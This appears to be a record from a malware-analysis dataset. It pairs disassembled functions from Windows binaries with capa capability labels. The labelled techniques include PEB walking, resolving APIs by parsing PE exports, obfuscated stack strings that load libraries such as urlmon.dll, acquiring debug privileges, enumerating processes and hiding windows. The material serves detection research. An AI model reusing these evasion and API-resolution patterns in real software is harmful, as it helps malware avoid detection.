joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401102
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0x18
mov eax, dword [ebp - 0x18]
mov eax, dword fs:[eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40115e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x40114d
mov dword [ebp - 0xc], 1
jmp 0x401188
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0x4160bc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40113c
mov eax, dword [0x4160c0]
cmp eax, 1
jne 0x4011a0
mov dword [esp], 0x1f
call fcn.0040f664
jmp 0x4011d3
mov eax, dword [0x4160c0]
test eax, eax
jne 0x4011c9
mov dword [0x4160c0], 1
mov dword [esp + 4], 0x418014
mov dword [esp], 0x41800c
call sub.ucrtbase.dll__initterm
jmp 0x4011d3
mov dword [0x41601c], 1
mov eax, dword [0x4160c0]
cmp eax, 1
jne 0x4011fb
mov dword [esp + 4], 0x418008
mov dword [esp], section..CRT
call sub.ucrtbase.dll__initterm
mov dword [0x4160c0], 2
cmp dword [ebp - 0xc], 0
jne 0x401217
mov dword [ebp - 0x2c], 0x4160bc
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xchg dword [eax], edx
mov eax, dword [0x4120a4]
test eax, eax
je 0x401241
mov eax, dword [0x4120a4]
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0
call eax
sub esp, 0xc
call fcn.0040eb51
mov dword [esp], 0x40ec6c
mov eax, dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call eax
sub esp, 4
mov dword [0x41607c], eax
mov dword [esp], section..text
call sub.ucrtbase.dll__set_invalid_parameter_handler
call fcn.0040e4f0
mov eax, dword [0x416004]
mov dword [esp + 4], 0x416008
mov dword [esp], eax
call fcn.004013c8
call fcn.0040e32c
mov eax, dword [0x411580]
mov edx, dword [0x41600c]
mov dword [eax], edx
mov ecx, dword [0x41600c]
mov edx, dword [0x416008]
mov eax, dword [0x416004]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040f850
mov dword [0x416014], eax
mov eax, dword [0x416018]
test eax, eax
jne 0x4012d0
mov eax, dword [0x416014]
mov dword [esp], eax
call sub.ucrtbase.dll_exit
mov eax, dword [0x41601c]
test eax, eax
jne 0x4012de
call sub.ucrtbase.dll__cexit
mov eax, dword [0x416014]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x416054], 1
mov dword [0x416058], 1
mov dword [0x41605c], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x401680
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0x411030]
test ecx, ecx
jne 0x4034d0
nop
nop
add eax, 0x840f00c0
add al, 9
add al, byte [eax]
add byte [eax], al
push es
or byte [eax], dh
add cl, byte [ecx]
or al, 0x8b
or al, 0xe
push ebx
invalid
mov edx, 0xa
mov eax, dword fs:[0x30]
add edx, edx
mov eax, dword [eax + 0xc]
xor edx, edx
mov eax, dword [eax + 0x14]
add edx, eax
mov eax, dword [eax]
sub edx, edx
mov eax, dword [eax]
or edx, 0
mov eax, dword [eax + 0x10]
mov edx, eax
mov ecx, edx
mov eax, edx
ret

Function at 0x403500
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [0x411030]
mov ebx, dword [esp + 0x40]
mov eax, dword [ebx + 0x3c]
add eax, ebx
test edi, edi
jne 0x4080d8
nop
nop
invalid
xor ebp, ebp
jmp 0x407191
mov eax, dword [edi + 0x18]
add ebp, 1
sub eax, 1
cmp eax, ebp
jb 0x40901e
mov dword [esp + 4], str.GetProcAddress
mov eax, dword [esi + ebp*4]
add eax, ebx
mov dword [esp], eax
call sub.ucrtbase.dll_strcmp
test eax, eax
jne 0x407180
mov ecx, dword [0x411030]
test ecx, ecx
jne 0x4080b8
nop
nop
nop
nop
nop
nop
nop
nop
push cs
add al, 0x50
add eax, 0xd02e806
hlt
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx eax, word [eax + ebp*2]
add ebx, dword [edx + eax*4]
add esp, 0x2c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [eax + 0x7c]
test edx, edx
je 0x40901e
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x40901e
lea edi, [ebx + ecx]
mov eax, dword [edi + 0x24]
mov esi, dword [edi + 0x20]
add eax, ebx
add esi, ebx
mov dword [esp + 0x18], eax
mov eax, dword [edi + 0x1c]
add eax, ebx
mov dword [esp + 0x1c], eax
jmp 0x407179
add esp, 0x2c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x409030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
sub esp, 0x38
mov eax, dword [0x411030]
test eax, eax
jne 0x409f41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 9
mov eax, dword [eax + eax]
sbb byte [eax + eax], al
mov byte [ebx], al
or byte [eax + 0x700], bh
add byte [eax], cl
mov eax, dword [ebx + eax]
or al, 8
add eax, 0x350407c0
push es
or byte [eax], dh
add eax, 0x80d2401
push esp
add byte [eax], al
mov eax, dword [eax + eax]
add al, 0xc
push es
inc eax
add byte [esp + ecx], cl
mov dword [eax + 0xfc], 0x5000000
add byte [ebp + 0x4010d04], cl
push eax
add byte [eax], al
test dword [eax + eax], ecx
je 0x40909b
add eax, 0xc0f088b
add byte [edi], cl
mov eax, dword [eax]
push es
mov byte [eax], al
or bh, bh
add byte [esi], al
inc edi
invalid
mov ecx, dword [eax]
invalid
mov eax, dword [0x416044]
test eax, eax
je 0x409f78
mov edx, dword [esp + 0x48]
mov dword [esp], 0
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0x44]
mov dword [esp + 8], edx
mov edx, dword [esp + 0x40]
mov dword [esp + 4], edx
call eax
sub esp, 0x10
add esp, 0x38
pop ebx
ret
call fcn.00401680
mov dword [esp], eax
call fcn.00403500
mov ebx, eax
call fcn.00401680
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call ebx
sub esp, 8
lea edx, [esp + 0x19]
mov dword [esp + 0x1d], 0x642e3233
mov dword [esp], edx
mov dword [esp + 0x19], 0x72657355
mov dword [esp + 0x20], 0x6c6c64
mov dword [esp + 0x24], 0x7373654d
mov dword [esp + 0x28], 0x42656761
mov dword [esp + 0x2c], 0x41786f
call eax
sub esp, 4
lea edx, [esp + 0x24]
mov dword [esp], eax
mov dword [esp + 4], edx
call ebx
mov dword [0x416044], eax
sub esp, 8
jmp 0x409f4a
Function at 0x40a000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push edi
push esi
push ebx
sub esp, 0x50
mov esi, dword [0x411030]
test esi, esi
jne 0x40be70
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop es
mov eax, dword [0x524040d]
add al, 0
add eax, dword [ebx]
lds eax, [0x5048d00]
dec esp
add al, byte [eax + ebx]
add byte [ebx], al
invalid
mov eax, dword [0x411030]
test eax, eax
jne 0x40be2f
nop
or dword [ebp + 0xe], edi
add byte [ebp + 0xbd0400], cl
add byte [eax], al
add byte [eax], al
add byte [eax], cl
add dword [eax + 4], eax
add byte [edi], cl
add cl, byte [edi]
ret
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x60]
mov dword [esp], eax
call dword [0x416040]
sub esp, 0x14
add esp, 0x50
pop ebx
pop esi
pop edi
ret
mov eax, dword [0x416040]
test eax, eax
jne 0x40be2f
call fcn.00401680
mov dword [esp], eax
call fcn.00403500
mov edx, dword [0x411030]
mov ebx, eax
test edx, edx
jne 0x40cd96
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [ecx], al
jne 0x40beb3
add bh, byte [edi + 0x600]
add byte [eax], al
or byte [ecx], cl
push ebx
add byte [esi], al
or bh, bh
invalid
call fcn.00401680
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call ebx
sub esp, 8
mov esi, eax
mov dword [esp + 0x25], 0x642e6e6f
mov dword [esp + 0x21], 0x6d6c7275
mov dword [esp + 0x28], 0x6c6c64
mov dword [esp], 0x6f
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
lea eax, [esp + 0x2c]
mov dword [esp + 0x49], 0x6865426b
mov dword [esp], eax
mov dword [esp + 0x3d], 0x5a484e51
mov dword [esp + 0x41], 0x686a736b
mov dword [esp + 0x45], 0x507a776b
mov dword [esp + 0x4c], 0x576168
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, 0x4ec4ec4f
sub esp, 4
movzx ecx, word [esp + 0x2c]
lea edi, [esp + 0x3d]
mov dword [esp], edi
mul ecx
shr edx, 3
imul edx, edx, 0x1a
sub edx, ecx
lea eax, [edx + 0x1a]
mov dword [esp + 4], eax
call fcn.004015c0
lea eax, [esp + 0x21]
mov dword [esp], eax
call esi
sub esp, 4
mov dword [esp + 4], edi
mov dword [esp], eax
call ebx
mov dword [0x416040], eax
sub esp, 8
jmp 0x40af22

Function at 0x40e4f8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.ucrtbase.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.ucrtbase.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.ucrtbase.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040f4d4
call sub.ucrtbase.dll_abort
Function at 0x40f0cc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40f0eb
mov eax, 0
jmp 0x40f12f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40f10e
mov eax, 0
jmp 0x40f12f
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40f12a
mov eax, 0
jmp 0x40f12f
mov eax, 1
leave
ret

Function at 0x40f131
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40f190
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40f188
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40f188
mov eax, dword [ebp - 4]
jmp 0x40f1a4
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40f165
mov eax, 0
leave
ret
Function at 0x404350
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49c645
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x4d7200]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4043aa
xor esi, esi
jmp 0x4044dd
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0x94
push 0x94
movlpd qword [ebp - 0x20], xmm0
call fcn.0048a02b
mov edi, eax
mov dword [ebp - 0x1c], 0x94
mov dword [ebp - 0x20], edi
mov byte [ebp - 4], 1
push dword [ebp - 0x14]
call fcn.0048a02b
push dword [ebp - 0x14]
mov ebx, eax
push 0
push edi
call fcn.0048b770
mov esi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea eax, [edi + 4]
add esp, 0x14
mov dword [edi], 9
push eax
push 0x4bfd28
push 0
call esi
lea eax, [edi + 0x10]
push eax
push 0x4bfd50
push 0
call esi
lea eax, [edi + 0x1c]
push eax
push 0x4bfd74
push 0
call esi
lea eax, [edi + 0x28]
push eax
push 0x4bfd98
push 0
call esi
lea eax, [edi + 0x34]
push eax
push 0x4bfdc0
push 0
call esi
lea eax, [edi + 0x40]
push eax
push 0x4bfdf4
push 0
call esi
lea eax, [edi + 0x4c]
push eax
push 0x4bfe24
push 0
call esi
lea eax, [edi + 0x58]
push eax
push 0x4bfe58
push 0
call esi
lea eax, [edi + 0x64]
push eax
push 0x4bfe80
push 0
call esi
lea eax, [edi + 0x70]
push eax
push 0x4bfeb4
push 0
call esi
lea eax, [edi + 0x7c]
push eax
push 0x4bfef0
push 0
call esi
lea eax, [edi + 0x88]
push eax
push 0x4bff10
push 0
call esi
lea eax, [edi + 0xc]
mov ecx, 0xc
nop
mov dword [eax], 2
lea eax, [eax + 0xc]
sub ecx, 1
jne 0x4044a0
lea eax, [ebp - 0x14]
push eax
push ebx
push dword [ebp - 0x14]
push edi
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4044d2
push ebx
xor esi, esi
call fcn.00489c73
add esp, 4
jmp 0x4044d4
mov esi, ebx
push edi
call fcn.00489c73
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xffffffff
je 0x4044f0
test ecx, ecx
je 0x4044f0
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00489c65
mov esp, ebp
pop ebp
ret
Function at 0x408360
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x4d7200]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea eax, [ebp - 0x40]
movlpd qword [ebp - 0x20], xmm0
push eax
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x40
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4083db
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00489c65
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x408408
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00489c65
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.00489c65
mov esp, ebp
pop ebp
ret 0xc
Function at 0x409150
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x4d7200]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 7
mov edi, ecx
mov dword [esp + 0x24], 0
push 0
push edi
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
jne 0x40919d
or esi, 0xffffffff
jmp 0x4091a2
cmp esi, 0xffffffff
jne 0x4091ce
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, eax
cmp ecx, 0xffffffff
je 0x4091da
mov eax, dword [esp + 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x38]
push ecx
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4091da
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
cmp esi, 0xffffffff
je 0x4091f2
test esi, esi
je 0x4091f2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x26c]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
xor ecx, esp
call fcn.00489c65
mov esp, ebp
pop ebp
ret
Function at 0x40a050
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49c9e0
mov eax, dword fs:[0]
push eax
mov eax, 0x1f5c
call fcn.0048a320
mov eax, dword [0x4d7200]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x1f68], esi
lea eax, [ebp - 0x1f54]
mov dword [ebp - 0x1f54], 0x1f40
push eax
push 0x1f40
lea eax, [ebp - 0x1f50]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x40a209
shr dword [ebp - 0x1f54], 2
xorps xmm0, xmm0
movq qword [ebp - 0x1f60], xmm0
mov dword [ebp - 0x1f58], 0
mov dword [ebp - 0x1f60], 0
mov byte [ebp - 0x1f58], 1
mov dword [ebp - 4], 0
push 0x2002
mov dword [ebp - 0x1f5c], 0
call fcn.0048a02b
mov ebx, eax
xor edi, edi
xor eax, eax
mov dword [ebp - 0x1f60], ebx
add esp, 4
mov dword [ebp - 0x1f64], edi
mov word [ebx + 0x2000], ax
mov word [ebx], ax
cmp dword [ebp - 0x1f54], eax
jbe 0x40a1fc
nop dword [eax + eax]
xor eax, eax
mov dword [ebp - 0x1f5c], 0
mov word [ebx], ax
mov edx, ebx
push ecx
mov ecx, dword [ebp + edi*4 - 0x1f50]
mov byte [ebp - 0x1f58], 1
call fcn.00409250
test al, al
je 0x40a1e9
cmp ebx, esi
je 0x40a18c
test esi, esi
je 0x40a1e9
sub ebx, dword [ebp - 0x1f68]
nop
movzx eax, word [ebx + esi]
mov ecx, eax
test ax, ax
jne 0x40a195
cmp word [esi], ax
jne 0x40a19a
mov edi, dword [ebp - 0x1f64]
mov ebx, dword [ebp - 0x1f60]
mov esi, dword [ebp + edi*4 - 0x1f50]
jmp 0x40a1fe
cmp ax, word [esi]
je 0x40a1d2
xor edx, edx
cmp dx, ax
jne 0x40a1a5
xor edi, edi
jmp 0x40a1b1
push ecx
call fcn.0048dee4
add esp, 4
movzx edi, ax
movzx eax, word [esi]
xor edx, edx
mov ecx, eax
cmp dx, ax
jne 0x40a1c1
xor eax, eax
jmp 0x40a1cd
push ecx
call fcn.0048dee4
add esp, 4
movzx eax, ax
cmp di, ax
jne 0x40a1d7
add esi, 2
jmp 0x40a170
mov edi, dword [ebp - 0x1f64]
mov ebx, dword [ebp - 0x1f60]
mov esi, dword [ebp - 0x1f68]
inc edi
mov dword [ebp - 0x1f64], edi
cmp edi, dword [ebp - 0x1f54]
jb 0x40a130
xor esi, esi
push ebx
call fcn.00489c73
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00489c65
mov esp, ebp
pop ebp
ret
Function at 0x40c540
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49cafd
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x4d7200]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 0x230]
test ecx, ecx
jne 0x40c57e
xor al, al
jmp 0x40c733
mov eax, dword [esi + 0x248]
shr eax, 2
test al, 1
jne 0x40c5a4
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40c5a4
push 0
push dword [esi + 0x230]
call dword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x14], 1
mov dword [ebp - 4], 0
push 0x20a
mov dword [ebp - 0x18], 0
call fcn.0048a02b
add esp, 4
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x1c], ebx
push 0x104
mov word [ebx + 0x208], ax
push ebx
mov word [ebx], ax
push dword [esi + 0x230]
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [esi + 0x3c], 0
je 0x40c63b
mov edi, dword [esi + 0x40]
test edi, edi
je 0x40c63b
cmp edi, 1
jl 0x40c63b
lea ebx, [edi + edi*8]
shl ebx, 3
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x40c62f
cmp edi, dword [esi + 0x40]
jg 0x40c62f
cmp dword [ebx + eax + 0xc], 0
je 0x40c62f
push edi
mov ecx, esi
call fcn.00412900
dec edi
sub ebx, 0x48
cmp edi, 1
jge 0x40c614
mov ebx, dword [ebp - 0x1c]
mov eax, dword [esi + 0x238]
mov ecx, dword [sym.imp.USER32.dll_DestroyWindow]
test eax, eax
je 0x40c654
push eax
call ecx
mov ecx, dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [esi + 0x23c]
test eax, eax
je 0x40c661
push eax
call ecx
mov eax, dword [esi + 0x1fc]
mov edi, dword [sym.imp.GDI32.dll_DeleteObject]
test eax, eax
je 0x40c67d
cmp dword [esi + 0x204], 4
je 0x40c67d
push eax
call edi
mov eax, dword [esi + 0x200]
test eax, eax
je 0x40c68a
push eax
call edi
mov eax, dword [esi + 0x1e0]
test eax, eax
je 0x40c697
push eax
call edi
mov eax, dword [esi + 0x1e8]
test eax, eax
je 0x40c6a8
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [esi + 0x260]
test eax, eax
je 0x40c6b9
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [esi + 0x244]
test eax, eax
je 0x40c6ca
push eax
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
mov eax, dword [esi + 0x248]
mov ecx, dword [esi + 0x230]
shr eax, 2
test al, 1
jne 0x40c712
push ecx
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [esi + 0x248]
shr eax, 1
test al, 1
jne 0x40c71f
xor eax, eax
cmp word [ebx], ax
je 0x40c71f
inc eax
cmp word [ebx + eax*2], 0
jne 0x40c6f7
test eax, eax
je 0x40c71f
push dword [esi + 0x11c]
push ebx
call dword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x40c71f
push esi
push 0x40b680
push ecx
call dword [sym.imp.COMCTL32.dll_RemoveWindowSubclass]
push 0
mov ecx, esi
call fcn.00417000
push ebx
call fcn.00489c73
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00489c65
mov esp, ebp
pop ebp
ret